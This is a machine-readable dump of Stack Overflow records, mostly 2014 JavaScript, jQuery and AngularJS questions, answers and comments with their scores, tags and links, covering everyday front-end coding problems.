has body: I have a directive where a controller is defined and there is a variable say "$scope.accesJson". I need to access it from another controller. Code: angular.module('test.directives').directive("manageAccess", function() { return { restrict: "E", replace: true, templateUrl: "template/test.html", controller: function($scope, $element, $http) { $scope.accesJson = ["hi","hello"]; } }; }); I have another controller, angular.module("test.controllers").controller("testController", function($scope, $http) { $scope.getUsers = function() { console.log $scope.accesJson //I need value of $scope.accesJson here. } }); How can I do that? Please help, Thanks
accepted answer: http://stackoverflow.com/a/25864620
upvote count: 1
has answer: http://stackoverflow.com/a/25864590
tagged with: angularjs-directive
type: AnsweredQuestion
score: 1
type: Question
has title: Angularjs : get value of scope variable in a controller defined inside another controller which is inside directive
downvote count: 0
tagged with: javascript
has answer: http://stackoverflow.com/a/25864620
favorite count: 0
answer count: 3
has answer: http://stackoverflow.com/a/25865238

http://stackoverflow.com/comment/40393287
comment on: http://stackoverflow.com/a/25819806
has text: Backbone's `collection.fetch` returns a jqXHR object which is a promise - so the second bunch of logic (creating a deferred) isn't really needed.
score: 1
type: AnswerComment
type: Comment

http://stackoverflow.com/q/25843397
has comment: http://stackoverflow.com/comment/40434835
has comment: http://stackoverflow.com/comment/40435442
has comment: http://stackoverflow.com/comment/40434766
has comment: http://stackoverflow.com/comment/40434823
has comment: http://stackoverflow.com/comment/40434855
has title: Use eval in a restricted scope
answer count: 0
has comment: http://stackoverflow.com/comment/40434923
has comment: http://stackoverflow.com/comment/40447447
type: Question
has comment: http://stackoverflow.com/comment/40434824
has comment: http://stackoverflow.com/comment/40441785
has comment: http://stackoverflow.com/comment/40434965
has comment: http://stackoverflow.com/comment/40466874
upvote count: 9
tagged with: javascript
has comment: http://stackoverflow.com/comment/40434934
has comment: http://stackoverflow.com/comment/40435045
score: 9
downvote count: 0
tagged with: jquery
favorite count: 0
has comment: http://stackoverflow.com/comment/40435967
has comment: http://stackoverflow.com/comment/40436331
has comment: http://stackoverflow.com/comment/40452672
tagged with: eval
has comment: http://stackoverflow.com/comment/40434932
type: UnansweredQuestion
has body: OK, let me explain what I need: I want the user to be able to eval his own valid JS/jQuery statements Access to elements must be restricted - meaning: let's say object X should not be available, but object Y should. How should I go about that?
has comment: http://stackoverflow.com/comment/40434985

http://stackoverflow.com/q/25848726
tagged with: http://stackoverflow.com/tag/html
tagged with: css
has comment: http://stackoverflow.com/comment/40443849
upvote count: 2
has comment: http://stackoverflow.com/comment/40443894
has body: I have a div tag as foo bar i am setting the css by using javascript,I can set styles as .one.two.three{color:red;} .one.two.four{color:blue;} But can any one tell me how can i use $(.class).css({"color":"blue"}); for combination of class
has answer: http://stackoverflow.com/a/25848779
downvote count: 1
has answer: http://stackoverflow.com/a/25848898
type: Question
score: 1
has comment: http://stackoverflow.com/comment/40444186
answer count: 2
tagged with: javascript
tagged with: jquery
has title: How to set css rules for combination of class?
favorite count: 0
type: UnansweredQuestion

http://stackoverflow.com/comment/40363538
has text: oh sorry can u please tell me how can i define area
comment on: http://stackoverflow.com/q/25801683
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40204548
comment on: http://stackoverflow.com/q/25717803
score: 0
type: Comment
type: QuestionComment
has text: My guess is that the source tag doesn't support dynamically modifying the src after it's loaded.

http://stackoverflow.com/q/25854418
tagged with: promise
linked to: http://stackoverflow.com/q/24662289
has title: How do you handle Parse promise errors so they don't keep executing code?
tagged with: parse-platform
has comment: http://stackoverflow.com/comment/40454537
upvote count: 1
type: Question
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/22539815
score: 1
has answer: http://stackoverflow.com/a/25854698
has comment: http://stackoverflow.com/comment/40488309
answer count: 1
downvote count: 0
tagged with: javascript
favorite count: 0
has body: Let's suppose I have a Parse Cloud Code js function which I want to return a promise, like: function doSomething(myObj, abortIfSaveFails) { var dsPromise = new Parse.Promise(); myObj.set("name", "abc"); myObj.save().then(function(){ // location "A" // great, it worked! // don't want to actually do anything more in this block because // we might want to do the same things even if save fails, and I // don't want to repeat code return Parse.Promise.as(); }, function(error){ // location "B" // save failed, but we might want to keep going if (abortIfSaveFails) { // location "C": wish I could abort the whole promise chain here! return Parse.Promise.error(); } else { return Parse.Promise.as(); } }).then(function(){ // location "D" // at this point we're not sure if save succeeded but let's // assume we don't need to know return doSomethingCruciallyImportantAndReturnAPromise(); }, function(error){ // location "E": // not sure if we got here because doSomethingCruciallyImportant...() errored or // because myObj.save() errored. // would be nice to abort the whole thing right now! return Parse.Promise.error(); }).then(function(){ // location "F" // at this point we know doSomethingElse... succeeded return doSomethingUnimportantAndReturnAPromise(); }, function(error){ // location "G" // not sure if we got here because doSomethingCruciallyImportant...() errored or // because doSomethingUnimportant...() errored. // If doSomethingCruciallyImportant...() succeeded but doSomethingUnimportant...() // failed, I'd LIKE to do dsPromise.resolve()... but I can't resolve, because // we might be in the process of aborting the function because myObj.save() rejected, // or doSomethingCruciallyImportant rejected! dsPromise.reject(); // might not be what I want to do! }).then(function(){ // location "H" // everything worked fine dsPromise.resolve(); }); // location "I" return dsPromise; // return the promise so `then` will wait } How can I refactor/rewrite this to better handle the situations a…
accepted answer: http://stackoverflow.com/a/25854698

sidebar
type: Tag
tags question: http://stackoverflow.com/q/25750114
tag name: sidebar
tags question: http://stackoverflow.com/q/25785106

http://stackoverflow.com/q/25747934
has comment: http://stackoverflow.com/comment/40260533
has comment: http://stackoverflow.com/comment/40260101
type: Question
accepted answer: http://stackoverflow.com/a/25748017
tagged with: javascript
score: 0
has answer: http://stackoverflow.com/a/25748017
answer count: 1
has comment: http://stackoverflow.com/comment/40260895
has body: in the following code, i need call the "private" method run in the sub class Worker function Person(scope, ...) { scope.name = "Juan"; var run = function() { console.log(scope.name + " is running"); }; } function Worker(scope, ...) { Person.call(this, scope, ...); var jumpAndRun = function() { console.log(scope.name + " is jumping"); run(); // how to call this }; } Worker.prototype = Object.create(People.prototype); currently if i call run method i get an Error: run is not defined!
has title: Call "private" method from "parent" object in javascript
has comment: http://stackoverflow.com/comment/40260172
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40260737
has comment: http://stackoverflow.com/comment/40260121

http://stackoverflow.com/q/25740741
possible better answer: http://stackoverflow.com/a/25741228
has answer: http://stackoverflow.com/a/25741419
has body: I have in a html page 5 button named 1,2,3,4 and 5.If 3 button are clicked the other button must be disabled. var clicking=0; $(document).ready(function(){ $('button').click(function(){ clicking++; $(this).toggleClass("active"); if(clicking==3){ $('button').click(function(){ $(this).toggleClass("nothing"); }) } }) }) I tried with this script but it don't work because all the button can be clicked.The if is ignored. i want that only 3 of this 5 button can be clicked and the other must become disabled.
has title: Occur if 3 button are clicked and disable other button
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40246895
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25741721
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40247027
type: Question
score: 0
accepted answer: http://stackoverflow.com/a/25741721
has comment: http://stackoverflow.com/comment/40247225
has answer: http://stackoverflow.com/a/25741228
has answer: http://stackoverflow.com/a/25741397
answer count: 4

http://stackoverflow.com/comment/40242234
comment on: http://stackoverflow.com/q/25737958
score: 0
type: Comment
type: QuestionComment
has text: In you JSBin code clicks is declared as click.

http://stackoverflow.com/comment/40324888
type: Comment
has text: @Obsivus yes, you can use `.html()` for this. [Updated fiddle](http://jsfiddle.net/dM7Vd/6/).
comment on: http://stackoverflow.com/a/25783359
type: AnswerComment
score: 0

http://stackoverflow.com/comment/40338832
has text: Can you post the C# code you have? Also, C# is a compiled, strongly typed language with strict rules (essentially the complete oposite of JavaScript). You would do well to do some more basic things and get familiar with the language as the syntax for declaring variables properties (which is what you want) and functions are very different from JS.
score: 3
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25791334

http://stackoverflow.com/comment/40450069
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25851757
has text: Yeha. No effect. Same issue as in split. Can do it with any sign but not with \n.
type: AnswerComment

http://stackoverflow.com/a/25829021
type: Answer
has comment: http://stackoverflow.com/comment/40408458
has comment: http://stackoverflow.com/comment/40408491
has body: I don't know if it's an option for you to use jQuery - if yes, I just made a Fiddle $("input[type='radio']").click(function () { if ($(this).val() == "No") { $("input[type='checkbox']").prop("disabled",true); $("input[type='checkbox']").prop("checked", false); } else { $("input[type='checkbox']").prop("disabled", false); } }); In case it has to be pure javascript, just drop a comment, that'd just take some minutes more. Update: As requested a pure Javascript solution: document.getElementById("radioGroup1").onclick = function () { var elems = document.getElementsByClassName('checkbox'); for (var i = 0; i &lt; elems.length; i++) { elems[i].checked = false; elems[i].disabled = true; } }; document.getElementById("radioGroup2").onclick = function () { var elems = document.getElementsByClassName('checkbox'); for (var i = 0; i &lt; elems.length; i++) { elems[i].disabled = false; } }; HTML-adjustment for this was to add class="checkbox" for the checkboxes. Could be adjusted to have a single onclick for the radios calling one function, then to check for the value of the clicked radio button and have the if/else of above jQuery-approach, but just as quick example. Fiddle - Javascript-Version
has comment: http://stackoverflow.com/comment/40408479
downvote count: 0
has comment: http://stackoverflow.com/comment/40408710
score: 3
has comment: http://stackoverflow.com/comment/40408940
has comment: http://stackoverflow.com/comment/40408376
answers question: http://stackoverflow.com/q/25828891
has comment: http://stackoverflow.com/comment/40408683
has comment: http://stackoverflow.com/comment/40409237
upvote count: 3
has comment: http://stackoverflow.com/comment/40408301

http://stackoverflow.com/comment/40271258
score: 0
type: Comment
type: QuestionComment
has text: @bencripps what do you mean close the script tags?All my script tags are closed properly if you dont see the first tag being closed scroll a bit to the right in the code
comment on: http://stackoverflow.com/q/25750855

http://stackoverflow.com/a/25713538
type: AcceptedAnswer
downvote count: 0
score: 4
accepted answer of: http://stackoverflow.com/q/25713387
type: Answer
has comment: http://stackoverflow.com/comment/40256561
has body: Fixing the expression (you're matching the beginning/end of the string) still won't solve the problem; you'll try to evaluate the whole string, including "2 and 2 are:...". Try this, replacing the stuff inside each {{...}} pair: $(".app").each(function(){ var raw_string = $(this).html(); var changed_string = raw_string.replace(/\{\{(.+)\}\}/g, function( match, p1 ) { return(eval(p1)); } ); $(this).html(changed_string); });
answers question: http://stackoverflow.com/q/25713387
has comment: http://stackoverflow.com/comment/40195881
upvote count: 4

http://stackoverflow.com/comment/40446504
has text: simply declare unlimitedStorage
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25819523

http://stackoverflow.com/q/25851352
answer count: 1
has comment: http://stackoverflow.com/comment/40448771
has title: I wanted to make a javascript library function is not working
has comment: http://stackoverflow.com/comment/40448715
has comment: http://stackoverflow.com/comment/40448777
type: AnsweredQuestion
tagged with: call
accepted answer: http://stackoverflow.com/a/25851380
has body: I wanted to call the run function that should call the other and action will be done on the base of element_id NGL = {} NGL.SceneBuilder = function() { var yamlFile = 'http://example.com/main.yaml' var parseYaml = function() { } var buildScene = function() { // other code simulationStarted(element_id); } return { run: function(element_id) { parseYaml(); buildScene(element_id); } } } NGL.SceneBuilder.run('#someid');
type: Question
tagged with: function
tagged with: javascript
score: 0
has answer: http://stackoverflow.com/a/25851380

http://stackoverflow.com/a/25845244
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40438583
has comment: http://stackoverflow.com/comment/40438465
accepted answer of: http://stackoverflow.com/q/25844500
has comment: http://stackoverflow.com/comment/40438053
type: Answer
score: 1
has body: Javascript to handle click on menu icon: $(window).on('resize', function() { if(jQuery(window).width() &lt; 661) { $('#nav').find('.desktopNone').eq(0).unbind('click'); $('#nav').find('.desktopNone').eq(0).on('click', function() { if($('#nav').find('ul').eq(0).css('display') == 'none') { $('#nav').find('ul').eq(0).show(); } else { $('#nav').find('ul').eq(0).hide(); } }); } else { $('#nav').find('ul').eq(0).show(); } }); CSS to make it looking good: media="all" @media only screen and (max-width: 40em) #nav &gt; ul { height: auto; display: none; position: absolute; left: 0; right: 0; background: #F1F1F1; z-index: 100; }
upvote count: 1
has comment: http://stackoverflow.com/comment/40438417
answers question: http://stackoverflow.com/q/25844500

http://stackoverflow.com/a/25750053
has body: Set a flag when they click or unbind the event (function(){ var pass = false; $(document.body).on("mousedown","a.button", function () { pass = true; }); window.onbeforeunload = function() { if(pass) return; return 'Sure you want to leave?'; } }()); or (function(){ $(document.body).on("mousedown","a.button", function () { $(window).off("beforeunload"); }); $(window).on("beforeunload", function() { return 'Sure you want to leave?'; }); }());
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25749998

http://stackoverflow.com/comment/40373353
type: AnswerComment
has text: Easely amended by combining it with what I mentioned in my answer, otherwise this is quite elegant as well.
type: Comment
comment on: http://stackoverflow.com/a/25808153
score: 0

http://stackoverflow.com/comment/40481168
has text: What is `white space`? Is it padding or what?
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25869191

http://stackoverflow.com/q/25775852
has body: How can you write a ng-model setter method that can accept undefined? For example when the user empties an input with the type set to date, angular sends undefined as the new value which means angular.isDefined() no longer can be used to determine if the method was called as a getter or setter. This is the example of getter/setter method given in the documentation: $scope.user = { name: function (newName) { if (angular.isDefined(newName)) { _name = newName; } return _name; } };
tagged with: javascript
score: 1
favorite count: 0
tagged with: angularjs
possible better answer: http://stackoverflow.com/a/26310019
has title: Angular getter/setter with an argument that can be undefined
has answer: http://stackoverflow.com/a/25775853
type: AnsweredQuestion
upvote count: 1
type: Question
tagged with: angular-ngmodel
accepted answer: http://stackoverflow.com/a/25775853
answer count: 2
has answer: http://stackoverflow.com/a/26310019
downvote count: 0

http://stackoverflow.com/comment/40247273
type: QuestionComment
comment on: http://stackoverflow.com/q/25739159
type: Comment
has text: I added the console log to my post.
score: 0

http://stackoverflow.com/q/25791966
downvote count: 2
upvote count: 1
has answer: http://stackoverflow.com/a/25792127
has comment: http://stackoverflow.com/comment/40340132
has comment: http://stackoverflow.com/comment/40340077
score: -1
has comment: http://stackoverflow.com/comment/40340090
type: Question
has title: Angular, watching for added class
tagged with: javascript
tagged with: jquery
answer count: 1
has body: I have a list And I'm adding classes to li and need to keep track of the data from the li which has that certain class. Should I place the directive on the ul and li? I tried both approaches. appControllers.directive('myDirective', function () { function link (scope, element, attrs) { scope.$watch('.sc-selected', function(){ if(element.hasClass('.sc-selected')) { console.log('has class'); } }); } return { restrict: 'A', scope: { value: "@" }, link: link } scope.$apply(); }); What am I doing wrong?
favorite count: 0
tagged with: angularjs
type: UnansweredQuestion

http://stackoverflow.com/a/25837307
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/25836652
score: 1
upvote count: 1
has body: How about testing the phone number after you remove the spaces? function validatePhone(phone) { var re = /^(\+\d{3})?\d{9}$/; return re.test(phone.replace(/\s+/g, '')); } This regex is then an optional prefix of a plus symbol and 3 digits followed by 9 digits. Combining this with some other tweaks, the following has been tested and works. function validateEmail(email) { var re = /^(([^&lt;&gt;()[\]\\.,;:\s@\"]+(\.[^&lt;&gt;()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/; return re.test(email); } if(!validateEmail(field) &amp;&amp; !validatePhone(field)) { show_error_msg('error_signup_email','Enter a valid email address or a phone number'); jQuery("#signup_email").focus(); return false; } Verification at http://jsfiddle.net/f2rL3pj0/

http://stackoverflow.com/a/25838011
type: Answer
upvote count: 1
score: 1
has body: Nevermind, i forgot to change the projection. Keep that in mind, default is albersUs, which focus on United States. meh.... for argentina: d3.geo.mercator().scale(800).center([-65, -35]);
downvote count: 0
has comment: http://stackoverflow.com/comment/40536058
answers question: http://stackoverflow.com/q/25837734

http://stackoverflow.com/a/25808787
answers question: http://stackoverflow.com/q/25808768
type: Answer
upvote count: 4
accepted answer of: http://stackoverflow.com/q/25808768
has comment: http://stackoverflow.com/comment/40373924
score: 4
type: AcceptedAnswer
downvote count: 0
has body: If there anyway that the undeclared variable "variable" can be overridden by either function? Yes. Unless you're in strict mode, assigning to an undeclared variable creates a global variable implicitly (I call it The Horror of Implicit Globals). So either function can write to it. Fortunately, strict mode put a stop to implicit globals.

http://stackoverflow.com/a/25864901
answers question: http://stackoverflow.com/q/25847467
has body: After long investigation, it appeared that the problem was in the file directive and not in the controller and by using the directive code below, I've been successfully able to post image file to server. angular.module('yourApp').directive('file', [ function() { return { restrict: "E", template: "&lt;input type=\"file\" /&gt;", replace: true, require: "ngModel", link: function(scope, element, attr, ctrl) { var listener; listener = function() { return scope.$apply(function() { if (attr.multiple) { return ctrl.$setViewValue(element[0].files); } else { return ctrl.$setViewValue(element[0].files[0]); } }); }; return element.bind("change", listener); } }; } ]); For more information; check the following link: https://gist.github.com/tdrozdowski/6468541
upvote count: 2
type: AcceptedAnswer
type: Answer
score: 2
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25847467

http://stackoverflow.com/q/25785914
favorite count: 0
has answer: http://stackoverflow.com/a/25789223
type: UnansweredQuestion
tagged with: css
has answer: http://stackoverflow.com/a/66085918
has answer: http://stackoverflow.com/a/30043752
type: Question
score: 5
has body: I am using fullpageJS https://github.com/alvarotrigo/fullPage.js/ to make my website. However when trying to change the arrow style: .controlArrow.prev { left: 50px; background: url(left.png); background-repeat: no-repeat; } .controlArrow.next { right: 50px; } It doesn't work, can anyone explain why? Or, is there a way to add custom arrows html markup?
upvote count: 6
tagged with: javascript
tagged with: jquery
answer count: 6
has title: CSS/HTML: how to have custom arrows on fullpage JS?
has answer: http://stackoverflow.com/a/66797379
tagged with: http://stackoverflow.com/tag/html
downvote count: 1
tagged with: fullpage.js
has answer: http://stackoverflow.com/a/46932211
has answer: http://stackoverflow.com/a/61150502

http://stackoverflow.com/comment/40354537
comment on: http://stackoverflow.com/q/25799238
has text: @Mike'Pomax'Kamermans Yeah, I am trying to avoid posting a great deal of code but essentially, the function will be an n-argument function. `argument[0]` will be for string input and `n>1` would be used for sprintf like purposes. Specifically, I created an [i18n library](https://github.com/iwatakeshi/gengojs), but it's rather limited when handling Objects (JSON like). I need to use `argument[0]` for dot notation and words/senteces and be able to differentiate from the two.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40320646
has text: you can use $rootScope as well however that will be used in other controllers which DOES NOT require this initialization (as it is global) so that option is also not good in this case
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25780696

http://stackoverflow.com/comment/40251788
comment on: http://stackoverflow.com/q/25743365
type: Comment
type: QuestionComment
score: 1
has text: Have you checked the capital letters? `data["name"]` may return undefined, but `data["Name"]` not.

http://stackoverflow.com/q/25832286
has body: I need a help in j query. I want to show 4 div elements(div1, div2, div3, div4) only when I scroll the scroll bar in the browser. How can I do that? Please help.
tagged with: javascript
score: 0
answer count: 1
tagged with: jquery
tagged with: asp.net
favorite count: 0
linked to: http://stackoverflow.com/q/9144560
type: UnansweredQuestion
has title: Show when entering into that div alone
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40414236
tagged with: css
upvote count: 1
downvote count: 1
type: Question
has answer: http://stackoverflow.com/a/25844973

http://stackoverflow.com/comment/40246863
score: 0
has text: have you any error in your console?
comment on: http://stackoverflow.com/q/25740751
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25773576
has answer: http://stackoverflow.com/a/25773811
possible better answer: http://stackoverflow.com/a/25773956
has answer: http://stackoverflow.com/a/25773956
has body: When I execute the following code, it behaves like I expect (logs the contents of the DIV element): var html = ' 123 '; console.log($('div', html)); What I can't understand is why the following code does NOT work: var html = ' 123 '; console.log($('form', html)); They seem the same, so why does the DIV selector work when the FORM selector does not?
accepted answer: http://stackoverflow.com/a/25773811
type: Question
has answer: http://stackoverflow.com/a/25773737
score: 5
tagged with: javascript
tagged with: jquery
favorite count: 0
has comment: http://stackoverflow.com/comment/40307330
upvote count: 6
answer count: 4
has answer: http://stackoverflow.com/a/25773906
downvote count: 1
type: AnsweredQuestion
has title: Form selector not work working on dynamic markup

http://stackoverflow.com/q/25741220
has title: change image with javascript
has comment: http://stackoverflow.com/comment/40247690
type: AnsweredQuestion
has body: I have an image 'view more' that when I click on more data is appended, what I want to do is change image before data is appended, I've tried multiple solution found on internet but nothig seems to work. Here is my code and my image view more
has answer: http://stackoverflow.com/a/25741301
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/40247922
possible better answer: http://stackoverflow.com/a/25741506
has answer: http://stackoverflow.com/a/25741506
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40248056
score: 0
accepted answer: http://stackoverflow.com/a/25741301
favorite count: 0
has comment: http://stackoverflow.com/comment/40247687
upvote count: 2
downvote count: 2

http://stackoverflow.com/q/25765384
type: Question
type: AnsweredQuestion
tagged with: kendo-grid
score: -2
tagged with: javascript
linked to: http://stackoverflow.com/q/25759277
answer count: 2
possible better answer: http://stackoverflow.com/a/25766177
upvote count: 0
has answer: http://stackoverflow.com/a/25779265
has answer: http://stackoverflow.com/a/25766177
tagged with: jquery
tagged with: asp.net
favorite count: 0
tagged with: kendo-ui
has title: How to add the Default Item (--Select--) in dropdownlist in custom popup (via html data attributes)kendo Grid in asp
has body: am using kendo inline and popup editing in a single grid i used custom template for popup grid Login Name: ` ` ` ` * Password: Scope: var DataSourceScopepopup = new kendo.data.DataSource( { transport: { read: { url: "WebServices/Project.asmx/GetScopepopup", data: "{}", contentType: 'application/json; charset=utf-8', type: 'POST', dataType: 'json' }, parameterMap: function(options, operation) { if (operation == 'read') return kendo.stringify(options); } }, schema: { data: function(Data) { return (Data.d); }, model: { id: "ScopeName", fields: { ScopeId: { type: "number"}, ScopeName: { type: "string"} } } }, error: function(e) { var xhr = e[0]; var statusCode = e[1]; var errorThrown = e[2]; alert('DataSourceScope - ' + xhr + ', ' + statusCode + ', ' + errorThrown); } }); This is My coding How to Add the Default item --Select-- in dropdownlist? Now i get only the Database items,,, how to i add it? thanks in Advance!!
accepted answer: http://stackoverflow.com/a/25779265
downvote count: 2
has comment: http://stackoverflow.com/comment/40292078

http://stackoverflow.com/a/31743231
type: Answer
has body: Let me give this another try: The key behind web-components (and thus Polymer) is, that they are self-contained. You have a web-component somewhere, you import it, and (if you're lucky) it just works, wherever it comes from. The web-component will NOT interfere other components. So doing things like MVC is not Polymers business (although it provides a data-binding mechanism), as this belongs to the process of tying things together. It is considered to be best practice that these kind of things are solved by creating new elements too, that create and react to events. When it comes to the model you code non-visual web-components, that don't have/need a template. TodoMVC has an (outdated) example for that (https://github.com/tastejs/todomvc/tree/gh-pages/examples/polymer). So Angular gives you a path to follow on how to do MVVM, whereas it is up to you on how to do the "logic" in your app when using Polymer. IMHO Angular is for more complex and rather enclosed apps, whereas Polymer is for any kind of app, that embraces the web. You even can use Polymer, if you're not writing an app at all ;)
score: 1
upvote count: 1
downvote count: 0
answers question: http://stackoverflow.com/q/25867182

http://stackoverflow.com/comment/40236605
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25734912
score: 0
has text: This seems to be a jQuery (mis)feature. Raw Javascript includes the disabled option in `.selectedOptions`, but jQuery doesn't use that (probably for compatibility with old browsers).

meteor
tags question: http://stackoverflow.com/q/25872191
tags question: http://stackoverflow.com/q/25776248
tags question: http://stackoverflow.com/q/25741120
tags question: http://stackoverflow.com/q/25783730
tags question: http://stackoverflow.com/q/25871903
tags question: http://stackoverflow.com/q/25770162
tags question: http://stackoverflow.com/q/25741683
tags question: http://stackoverflow.com/q/25849675
tags question: http://stackoverflow.com/q/25758476
tags question: http://stackoverflow.com/q/25729601
tags question: http://stackoverflow.com/q/25755182
tags question: http://stackoverflow.com/q/25803169
tags question: http://stackoverflow.com/q/25823460
tags question: http://stackoverflow.com/q/25818492
tags question: http://stackoverflow.com/q/25727318
tags question: http://stackoverflow.com/q/25815894
tags question: http://stackoverflow.com/q/25841643
tags question: http://stackoverflow.com/q/25756664
tags question: http://stackoverflow.com/q/25740109
tags question: http://stackoverflow.com/q/25845454
tags question: http://stackoverflow.com/q/25722933
tags question: http://stackoverflow.com/q/25824556
type: Tag
tags question: http://stackoverflow.com/q/25857893
tags question: http://stackoverflow.com/q/25736718
tags question: http://stackoverflow.com/q/25835854
tags question: http://stackoverflow.com/q/25726969
tags question: http://stackoverflow.com/q/25860131
tags question: http://stackoverflow.com/q/25813494
tags question: http://stackoverflow.com/q/25827159
tags question: http://stackoverflow.com/q/25797503
tags question: http://stackoverflow.com/q/25733792
tags question: http://stackoverflow.com/q/25753363
tags question: http://stackoverflow.com/q/25804879
tags question: http://stackoverflow.com/q/25873195
tags question: http://stackoverflow.com/q/25796329
tags question: http://stackoverflow.com/q/25769743
tags question: http://stackoverflow.com/q/25765645
tags question: http://stackoverflow.com/q/25817093
tags question: http://stackoverflow.com/q/25755591
tags question: http://stackoverflow.com/q/25772871
tags question: http://stackoverflow.com/q/25796034
tags question: http://stackoverflow.com/q/25797961
tags question: http://stackoverflow.com/q/25847201
tags question: http://stackoverflow.com/q/25838500
tags question: http://stackoverflow.com/q/25823136
tags question: http://stackoverflow.com/q/25825250
tags question: http://stackoverflow.com/q/25766341
tags question: http://stackoverflow.com/q/25722348
tags question: http://stackoverflow.com/q/25780790
tag name: meteor
tags question: http://stackoverflow.com/q/25757153
tags question: http://stackoverflow.com/q/25872810
tags question: http://stackoverflow.com/q/25838362
tags question: http://stackoverflow.com/q/25790614
tags question: http://stackoverflow.com/q/25837084
tags question: http://stackoverflow.com/q/25765718
tags question: http://stackoverflow.com/q/25816453
tags question: http://stackoverflow.com/q/25754552
tags question: http://stackoverflow.com/q/25848388

http://stackoverflow.com/q/25723196
has answer: http://stackoverflow.com/a/25724641
type: AnsweredQuestion
has title: Issues retrieving jsonp with $http.jsonp
has body: Code: When i past the url in the browser i can see all the objects when i try to it out on for example : link but I don't seem it to get it working in my code am i missing anything ? angular.module('ionicApp', ['ionic']) .controller('MyCtrl', function($scope, $http) { $scope.items = []; $http.jsonp('cmaden.pythonanywhere.com/api/v1/today/?format=jsonp').success(function (data) { $scope.items = data; }); });
tagged with: http://stackoverflow.com/tag/json
tagged with: ionic-framework
type: Question
accepted answer: http://stackoverflow.com/a/25724641
tagged with: javascript
score: 0
tagged with: application-icon
answer count: 1

http://stackoverflow.com/a/25862796
has comment: http://stackoverflow.com/comment/40470622
has comment: http://stackoverflow.com/comment/40470962
accepted answer of: http://stackoverflow.com/q/25862745
downvote count: 0
answers question: http://stackoverflow.com/q/25862745
has body: Ideal solution: CSS What about removing all that Javascript and replacing the CSS by this: tr:nth-child(even) { background-color : gray; } tr:nth-child(odd) { background-color : white; } FIDDLE More info about the power of nth-child can be found on CSS-Tricks. Note that this solution doesn't work in IE8, but personally I would find that acceptable. After all it's just a cosmetic aid, and users of such an old browser can either use your site without it, or upgrade their browser. Fixing your Javascript Your Javascript solution could work as well, by the way, but it has some errors. First of all if (document.getElementByTagName) just checks whether the function getElementByTagName exists, while I think you planned on executing it to get the table or the rows. It works better like this: function Foo(id) { var $rows = $('#' + id + ' tr'); for (var i = 0; i &lt; $rows.length; i++) { if (i % 2 == 0) $rows[i].className = "even"; else $rows[i].className = "odd"; } } FIDDLE Other issues left to solve in Javascript I removed the :not(:hidden) part, because that is (another) issue that prevents this code to work for the second tabsheet. If you need this because you want to be able to show or hide rows, you have to take a couple of things into account: There should be no spaces in that selector, otherwise you'll be selecting the cells and the result will be a checker board look, so it should be tr:not(:hidden). If you are coloring the cells, it won't work for the second tab, because that tab is hidden by the time you call Foo. To solve this, you can reverse the calls to Foo and to $.tabs. That way, all tabs will still be visible when you call Foo. Code: $(function () { Foo("searchMe1"); // This first Foo("searchMe2"); $("#tabs").tabs(); // Then this. You will bump into another problem if you are dynamically going to hide rows. It will mess up your coloring. You would have to call Foo every time you do to re-apply the classes. That also means that Foo needs to remove the previous…
type: AcceptedAnswer
upvote count: 6
has comment: http://stackoverflow.com/comment/40470754
type: Answer
score: 6
has comment: http://stackoverflow.com/comment/40470826

http://stackoverflow.com/comment/40399282
comment on: http://stackoverflow.com/a/25824073
has text: Thanks for your answer , i tried it and it didn't work i want to add the class 'open' to the class 'fake-dropdown' in the DIV when i click the class 'dropdown-toggle' in the href
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/25719572
linked to: http://stackoverflow.com/q/4754938
has comment: http://stackoverflow.com/comment/40212625
type: AnsweredQuestion
upvote count: 9
has answer: http://stackoverflow.com/a/25720030
tagged with: date
has comment: http://stackoverflow.com/comment/40207394
has comment: http://stackoverflow.com/comment/40211162
score: 9
type: Question
downvote count: 0
answer count: 1
tagged with: javascript
favorite count: 0
has body: Using the Angular date $filter actually i can get the current day, year and month. But, how can i get the next and previous day, year, month? This is the code i wrote but i dont know where to start with $scope.month = $filter('date')(date, 'MMMM');//December-November like $scope.day = $filter('date')(date, 'dd'); //01-31 like $scope.year = $filter('date')(date,'yyyy');//2014 like $scope.nextYear = Number($scope.year) + 1; $scope.prevYear = Number($scope.year) - 1; $scope.nextDay = ? etc... Do you have any idea?
tagged with: filter
accepted answer: http://stackoverflow.com/a/25720030
has title: Angularjs next and previous day,year,month
tagged with: angularjs

http://stackoverflow.com/q/25756314
has comment: http://stackoverflow.com/comment/40276771
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40312934
upvote count: 2
accepted answer: http://stackoverflow.com/a/25794456
score: 1
